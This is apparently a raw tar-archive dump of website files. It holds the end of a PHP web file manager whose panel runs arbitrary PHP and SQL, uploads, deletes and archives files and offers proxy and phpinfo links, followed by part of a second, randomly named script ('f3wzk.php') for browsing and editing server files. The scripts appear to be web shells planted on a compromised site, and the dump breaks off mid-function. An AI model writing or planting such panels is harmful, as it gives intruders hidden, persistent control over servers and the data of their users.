        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<td>	
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>f3wzk.php000064400000042731151531126630006333 0ustar00<?php
// file_manager_simple.php - File Manager without JavaScript
session_start();
error_reporting(0);

// ==================== CONFIGURATION ====================
$base_dir = realpath(__DIR__);
$root_anchor = dirname($base_dir);

// ==================== HELPER FUNCTIONS ====================
function sanitize_path($path){
    $path = str_replace('..', '', $path);
    $path = preg_replace('/[^a-zA-Z0-9\.\_\-\/]/', '', $path);
    return trim($path, '/');
}

function safe_realpath_within($path, $allowed_root){
    $rp = realpath($path);
    if($rp === false) return false;
    
    $root = rtrim($allowed_root, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
    if(strpos($rp, $root) === 0 || $rp === rtrim($allowed_root, DIRECTORY_SEPARATOR)) {
        return $rp;
    }
    return false;
}

function get_file_list($dir){
    $files = [];
    if(is_dir($dir)){
        $items = scandir($dir);
        foreach($items as $item){
            if($item === '.' || $item === '..') continue;
            $full_path = $dir . DIRECTORY_SEPARATOR . $item;
            $files[] = [
                'name' => $item,
                'path' => $full_path,
                'size' => is_file($full_path) ? filesize($full_path) : 0,
                'type' => is_dir($full_path) ? 'directory' : 'file',
                'modified' => date('Y-m-d H:i:s', filemtime($full_path))
            ];
        }
    }
    return $files;
}

function format_size($bytes) {
    if ($bytes >= 1073741824) {
        return number_format($bytes / 1073741824, 2) . ' GB';
    } elseif ($bytes >= 1048576) {
        return number_format($bytes / 1048576, 2) . ' MB';
    } elseif ($bytes >= 1024) {
        return number_format($bytes / 1024, 2) . ' KB';
    } else {
        return $bytes . ' bytes';
    }
}

// ==================== REQUESTED DIRECTORY HANDLING ====================
$requested_dir = isset($_GET['dir']) ? sanitize_path($_GET['dir']) : basename($base_dir);
$current_dir_candidate = $root_anchor . ($requested_dir ? DIRECTORY_SEPARATOR . $requested_dir : '');
$current_dir = safe_realpath_within($current_dir_candidate, $root_anchor);

if($current_dir === false){
    $requested_dir = basename($base_dir);
    $current_dir = safe_realpath_within($root_anchor . DIRECTORY_SEPARATOR . $requested_dir, $root_anchor);
    if($current_dir === false){
        $requested_dir = '';
        $current_dir = safe_realpath_within($root_anchor, $root_anchor);
    }
}

// ==================== PARENT DIRECTORY CALCULATION ====================
if($requested_dir !== ''){
    $parent_dir = dirname($requested_dir);
    if($parent_dir === '.' || $parent_dir === '\\') $parent_dir = '';
} else {
    $parent_dir = '';
}

// ==================== BREADCRUMB NAVIGATION ====================
$dir_parts = [];
if($requested_dir !== ''){
    $parts = explode('/', $requested_dir);
    $current_path = '';
    foreach($parts as $part){
        $current_path .= ($current_path ? '/' : '') . $part;
        $dir_parts[] = [
            'name' => $part,
            'path' => $current_path
        ];
    }
}

// ==================== ACTION HANDLING ====================
$action = $_GET['action'] ?? 'list';
$message = '';

switch($action){
    case 'view':
        $file = sanitize_path($_GET['file'] ?? '');
        $file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
        if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
            header('Content-Type: text/plain');
            readfile($file_path);
            exit;
        }
        break;

    case 'edit':
        $file = sanitize_path($_GET['file'] ?? '');
        $file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
        if($_SERVER['REQUEST_METHOD'] === 'POST'){
            $content = $_POST['content'] ?? '';
            if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
